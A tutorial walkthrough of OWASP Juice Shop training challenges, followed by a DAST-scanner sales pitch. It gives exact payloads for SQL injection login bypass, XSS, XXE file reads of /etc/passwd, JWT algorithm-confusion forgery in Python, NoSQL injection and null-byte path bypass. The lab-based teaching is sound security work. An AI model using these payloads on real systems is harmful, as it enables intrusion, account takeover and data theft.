OWASP Juice Shop has over 100 challenges across six difficulty levels. The scoreboard at /#/score-board shows them all, but with no hints by default beyond a lightbulb icon. This walkthrough covers solutions for the most important Juice Shop challenges — organized by category and difficulty — with the exact payloads, explanations of why they work, and the underlying vulnerability class each challenge teaches.
All solutions are for use in your own local Juice Shop instance. Start it with:
docker run --rm -p 3000:3000 bkimminich/juice-shop
Then navigate to http://localhost:3000/#/score-board to see all available challenges.
⭐ One-Star Challenges (Beginner)
1. Find the Score Board
Challenge: Find the hidden scoreboard page.
Solution: Navigate directly to http://localhost:3000/#/score-board
What it teaches: Security through obscurity is not security. The application’s Angular frontend includes the scoreboard route in the JavaScript bundle — it is just not linked from the navigation. Anyone who inspects the client-side source or API response can discover all hidden routes.
2. DOM XSS (Reflected in Search)
Challenge: Perform a DOM XSS attack with <iframe src="javascript:alert('xss')">.
Steps:
- Go to the Juice Shop home page
- In the search bar, enter:
<iframe src="javascript:alert('xss')"> - Press Enter
What happens: The Angular application renders the search term in the DOM without sufficient encoding. The <iframe> is inserted into the page and the javascript: URL executes. A popup alert appears, and the challenge is solved.
What it teaches: DOM-based XSS — when client-side JavaScript processes user input and writes it to the DOM without sanitization. The javascript: pseudo-protocol in src/href attributes is a classic DOM XSS vector that bypasses simple <script> tag filters.
3. Error Handling
Challenge: Cause an error that is not gracefully handled.
Steps:
- Navigate to
http://localhost:3000/rest/products/search?q= - Add an intentionally malformed SQL fragment:
http://localhost:3000/rest/products/search?q='; - The response includes a verbose error message with a stack trace
What it teaches: Information disclosure through verbose error messages. Stack traces reveal internal file paths, framework versions, and application structure — all useful to an attacker.
4. Privacy Policy
Challenge: Read the Juice Shop’s privacy policy.
Solution: Navigate to http://localhost:3000/#/privacy-security/privacy-policy
This is a tutorial challenge teaching you to explore the application thoroughly. Many real-world vulnerabilities are discovered by reading documentation and terms pages that contain internal references or configuration details.
5. Confidential Document
Challenge: Access a confidential document.
Steps:
- Go to
http://localhost:3000/#/about - Hover over the link to the “legal.md” file
- Modify the URL to navigate to:
http://localhost:3000/ftp/ - You’ll see a directory listing including
acquisitions.md - Download
http://localhost:3000/ftp/acquisitions.md
What it teaches: Insecure file storage and directory traversal. The /ftp/ directory is publicly accessible and contains files that should require authentication to access.
⭐⭐ Two-Star Challenges (Easy)
6. Login Admin (SQL Injection)
Challenge: Log in with the administrator’s user account without knowing the password.
Steps:
- Go to
http://localhost:3000/#/login - In the Email field, enter:
' OR '1'='1'-- - Enter any value in the Password field
- Click Log In
What happens: The login query becomes:
SELECT * FROM Users WHERE email = '' OR '1'='1'--' AND password = '...'
The '1'='1' condition is always true, and -- comments out the password check. The query returns the first user in the database — which is the admin.
What it teaches: Classic SQL injection for authentication bypass. The most fundamental injection attack, present in legacy PHP/ASP.NET applications using string-concatenated queries. The underlying vulnerability is CWE-89 (SQL Injection).
7. Password Strength (Admin Account)
Challenge: Log in with the administrator’s credentials without SQL injection.
Steps:
- The admin email is:
[email protected](discoverable through the API or hints) - The password is:
admin123 - Log in normally at
/#/login
What it teaches: Weak passwords and default credentials. admin123 is in every password dictionary. This challenge demonstrates why even “internal” admin accounts need strong passwords.
8. Zero Stars (Feedback)
Challenge: Give a zero-star feedback rating.
Steps:
- Go to the contact/feedback form
- Open browser DevTools → Network tab
- Notice the star rating input has
min="1"HTML validation - Submit the form via DevTools: intercept the request and change the
ratingparameter to0
Or use the browser console to bypass client-side validation:
// In browser console on the feedback page
document.getElementById('star-rating').setAttribute('min', '0');
// Then set the value and submit
What it teaches: Client-side validation bypass. HTML min/max attributes and JavaScript validation only prevent accidental invalid input — they do not provide security. Any server-side input must be validated server-side.
9. View Basket (IDOR)
Challenge: View another user’s shopping basket.
Steps:
- Log in with any user account
- Add items to your basket and note your basket ID in the URL (e.g., basket #6)
- In browser DevTools → Application → Local Storage, find the
bidvalue - Modify the
bidvalue (trybid: 1,bid: 2, etc.) - Reload the basket page
What it teaches: IDOR — Insecure Direct Object Reference (OWASP API Security A1: BOLA). The application exposes sequential basket IDs and does not verify that the requesting user owns the basket being accessed. This is the most common API vulnerability class in real-world assessments.
10. Reflected XSS
Challenge: Perform a reflected XSS attack.
Steps:
- Find a page that reflects URL parameters in the response
- Navigate to the order tracking page:
http://localhost:3000/#/track-result?id=<iframe src="javascript:alert('xss')"> - The iframe is rendered in the page
What it teaches: Reflected XSS — user input in the URL is reflected in the page response without encoding. Unlike stored XSS, the payload is not saved to the database — it fires once for the user who clicks a malicious link.
⭐⭐⭐ Three-Star Challenges (Medium)
11. Forged Feedback (CSRF/Mass Assignment)
Challenge: Post feedback in another user’s name.
Steps:
- Log in as any user
- Intercept a feedback submission using browser DevTools → Network
- Note the
UserIdparameter in the request body - Change the
UserIdto a different user’s ID (e.g.,1for admin) - Submit
What it teaches: Mass assignment and authorization bypass. The server accepts user-supplied UserId without verifying it matches the authenticated user’s ID. Any user can post as any other user.
12. Payback Time (Negative Cart Total)
Challenge: Place an order that makes your balance negative.
Steps:
- Add a product to the basket
- Intercept the API call for “Add to Basket”:
PUT /api/BasketItems/{id} - Change the
quantityto a negative number (e.g.,-100) - Proceed to checkout — the order total will be negative
What it teaches: Business logic flaws — the application validates that quantity is a number but does not validate that it must be positive. Negative quantities invert the pricing calculation. This type of vulnerability is invisible to both SAST and standard DAST tools because it requires understanding of business intent.
13. Upload Size (File Upload Bypass)
Challenge: Upload a file larger than 100 KB.
Steps:
- Find the profile picture upload endpoint
- Notice client-side validation limits uploads to 100 KB
- Bypass client-side validation by using curl or a REST client directly:
# Create a 200KB file
dd if=/dev/urandom of=large_file.jpg bs=1024 count=200
# Upload directly via API, bypassing browser validation
curl -X POST http://localhost:3000/profile/image \
-H "Authorization: Bearer YOUR_JWT_TOKEN" \
-F "file=@large_file.jpg"
What it teaches: Client-side validation bypass for file uploads. File size limits enforced only in the browser are trivially bypassed. Server-side validation is mandatory.
14. Admin Section (Access Control)
Challenge: Access the administration section of the Juice Shop.
Steps:
- Open browser DevTools and navigate to the main.js bundle
- Search for “admin” to find route definitions
- Navigate to:
http://localhost:3000/#/administration
Without valid admin credentials, the Angular router may redirect you. The challenge is to access the section — which can be done by first logging in as admin (challenge #6 above) and then navigating to /#/administration.
What it teaches: Discovering hidden admin functionality through client-side source code review. The admin route exists in the Angular bundle — it just isn’t linked. Client-side route guards provide no security; server-side authorization is required.
15. Login Jim (SQL Injection with User Discovery)
Challenge: Log in with Jim’s user account.
Steps:
- Find Jim’s email. Navigate to
http://localhost:3000/api/Users(if accessible without auth) or use the review section — Jim has left reviews under[email protected] - Log in with SQL injection targeting Jim’s account:
- Email:
[email protected]'-- - Password: anything
- Email:
What it teaches: SQL injection for targeted account takeover (not just admin). User enumeration + injection combines to bypass authentication for specific targets.
⭐⭐⭐⭐ Four-Star Challenges (Advanced)
16. JWT Forgery (RSA → HMAC Algorithm Confusion)
Challenge: Forge an admin JWT token using the RS256 → HS256 algorithm confusion attack.
Background: Juice Shop uses RS256 (asymmetric) JWT signing. In RS256, the server signs tokens with a private key and verifies them with the corresponding public key. The algorithm confusion attack exploits libraries that accept either RS256 or HS256 — by switching to HS256 and signing with the public key (which the attacker can obtain).
Steps:
- Log in as any user and capture your JWT from LocalStorage (DevTools → Application → Local Storage →
token) - Decode the JWT header (base64url decode the first segment): it shows
"alg": "RS256" - Get the server’s public key from
http://localhost:3000/encryptionkeys/jwt.pub - Use a tool or script to forge a new JWT:
import jwt
import base64
# Read the public key
with open('jwt.pub', 'r') as f:
public_key = f.read()
# Create forged admin payload
payload = {
"status": "success",
"data": {
"id": 1,
"username": "",
"email": "[email protected]",
"password": "...",
"role": "admin",
"deluxeToken": "",
"lastLoginIp": "0.0.0.0",
"profileImage": "/assets/public/images/uploads/defaultAdmin.png",
"totpSecret": "",
"isActive": True,
"createdAt": "2024-01-01T00:00:00.000Z",
"updatedAt": "2024-01-01T00:00:00.000Z",
"deletedAt": None
}
}
# Sign with the public key using HS256 — the confusion attack
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(forged_token)
- Replace the
tokenvalue in LocalStorage with the forged token - Reload the page — you are now authenticated as admin
What it teaches: JWT algorithm confusion (CVE pattern). Libraries that accept multiple JWT signing algorithms without restricting which algorithm is allowed are vulnerable. When a server switches from RS256 to HS256 verification using the public key as the HMAC secret, any attacker with the public key can forge valid tokens. This vulnerability class has been found in production APIs across major platforms.
17. Forged Review (Stored XSS + Persistence)
Challenge: Post a product review as another user.
Steps:
- Log in as any user
- Navigate to a product and submit a review
- Intercept the review submission:
PUT /rest/products/{id}/reviews - The request body includes the author’s email — change it to another user’s email (e.g.,
[email protected]) - Submit the forged review
What it teaches: Authorization bypass in REST API endpoints. The server trusts the author field provided in the request body instead of reading it from the authenticated session. A classic mass assignment / parameter tampering vulnerability.
18. XXE (XML External Entity Injection)
Challenge: Retrieve the content of /etc/passwd using XXE.
Steps:
- Find a file upload endpoint that accepts XML — the B2B order XML feature
- Craft a malicious XML payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<orders>
<order>
<quantity>1</quantity>
<item>&xxe;</item>
<customer>Test</customer>
</order>
</orders>
- Upload this XML file to the B2B order endpoint
- The server processes the XML, resolves the external entity reference, and includes the contents of
/etc/passwdin the response
What it teaches: XML External Entity (XXE) injection. XML parsers that process external entity declarations can read local files, make SSRF requests, or cause denial-of-service. The fix is to disable external entity processing in the XML parser configuration — a one-line change in most frameworks.
⭐⭐⭐⭐⭐ Five-Star Challenges (Expert)
19. NoSQL Injection (User Manipulation via Profile API)
Challenge: Steal another user’s personal data by exploiting a NoSQL injection.
Steps:
- The application’s user search and filtering uses NoSQL operators
- Intercept an API request to
/rest/user/whoami - Try injecting MongoDB-style operators in request parameters:
# Test NoSQL injection in product search
curl 'http://localhost:3000/rest/products/search?q=\'
# Try operator injection
curl 'http://localhost:3000/api/Users?username[$ne]=&username[$gt]='
What it teaches: NoSQL injection — the equivalent of SQL injection for document databases like MongoDB. Instead of SQL syntax, the attack uses MongoDB query operators ($ne, $gt, $in, $where) to manipulate query logic. The fix is the same as SQL injection: parameterize queries and validate input server-side.
20. Forgotten Developer Backup (Path Traversal)
Challenge: Find and access the developer backup file.
Steps:
- The
/ftp/directory listing revealspackage.json.bak - However, attempting to download it directly returns 403
- Exploit a path traversal or null-byte injection in the file download endpoint:
http://localhost:3000/ftp/package.json.bak%2500.md
The %25 is a URL-encoded %, making %2500 decode to %00 (null byte). The file extension check sees .md (which is allowed) but the file system truncates at the null byte and reads package.json.bak.
What it teaches: Null byte injection for file extension bypass. Path traversal and null byte attacks exploit the difference between how application-level string parsing and OS-level file operations handle special characters.
Using Juice Shop Solutions to Benchmark DAST Scanners
Beyond learning these vulnerabilities manually, Juice Shop solutions serve a practical purpose for security teams: verifying that your DAST scanner actually finds them.
A DAST scanner that misses the SQL injection in the login form (#6 above) — the most obvious, unobfuscated injection in any vulnerable application — is not ready for your production codebase.
Minimum scanner benchmark: A production-ready DAST scanner should automatically detect:
- SQL injection in the login form (Challenge #6)
- Reflected XSS in search (Challenge #2 and #10)
- Missing security headers (Content-Security-Policy, X-Content-Type-Options)
- CORS misconfiguration
- Directory listing at
/ftp/
Offensive360 DAST is benchmarked against Juice Shop on every release. You can verify scanner performance yourself:
- Run a one-time DAST scan of your web application for $500 — authenticated scanning with results within 48 hours
- Book a demo — see a live scan against Juice Shop or your own application
Frequently Asked Questions
Where can I find all Juice Shop challenge solutions?
The official companion book “Pwning OWASP Juice Shop” by Björn Kimminich is available free at pwning.owasp-juice.shop and covers solutions to every challenge. The scoreboard’s hint system (lightbulb icon) provides partial guidance within the application itself.
Are these solutions specific to a Juice Shop version?
Challenge solutions may vary slightly between major versions of Juice Shop as new challenges are added or existing ones are modified. These solutions target recent stable versions (v17+). If a specific payload doesn’t work, check the Juice Shop GitHub repository for version-specific notes.
Can I use Juice Shop challenges for a security awareness training program?
Yes. Juice Shop is specifically designed for training programs, including corporate security awareness. The CTF mode generates unique flags per challenge, suitable for team competitions. The challenges cover all OWASP Top 10 categories, making it an effective vehicle for developer security training.
How long does it take to complete all Juice Shop challenges?
One-star challenges: 1–2 hours for a beginner. Complete the scoreboard at your own pace — security practitioners typically spend days to weeks working through all 100+ challenges at all difficulty levels. Expert-level (5–6 star) challenges require deep knowledge of the application’s internals and advanced exploitation techniques.
Does Juice Shop require internet access?
No. Once you’ve pulled the Docker image (docker pull bkimminich/juice-shop), it runs entirely locally with no internet connection required. This makes it safe for use in isolated training environments and air-gapped lab setups.
Summary: What Juice Shop Challenges Teach
Each Juice Shop challenge maps to a real vulnerability class found in production applications:
| Challenge | CWE | Real-World Application |
|---|---|---|
| SQL injection login bypass | CWE-89 | Legacy PHP/ASP.NET login forms |
| JWT algorithm confusion | CWE-327 | APIs with multi-algorithm JWT libraries |
| IDOR basket access | CWE-639 | Any REST API using sequential object IDs |
| XXE file read | CWE-611 | SOAP APIs, document processors, B2B XML integrations |
| DOM XSS search | CWE-79 | SPAs that render URL parameters into the DOM |
| Client-side validation bypass | CWE-602 | Any application that trusts browser input |
| Null byte path traversal | CWE-626 | File download handlers with extension filtering |
| NoSQL injection | CWE-943 | MongoDB-backed APIs |
Practicing these challenges builds the pattern recognition needed to find the same vulnerability classes in production applications — where the code is more complex, the context is less obvious, and the consequences of missing them are real.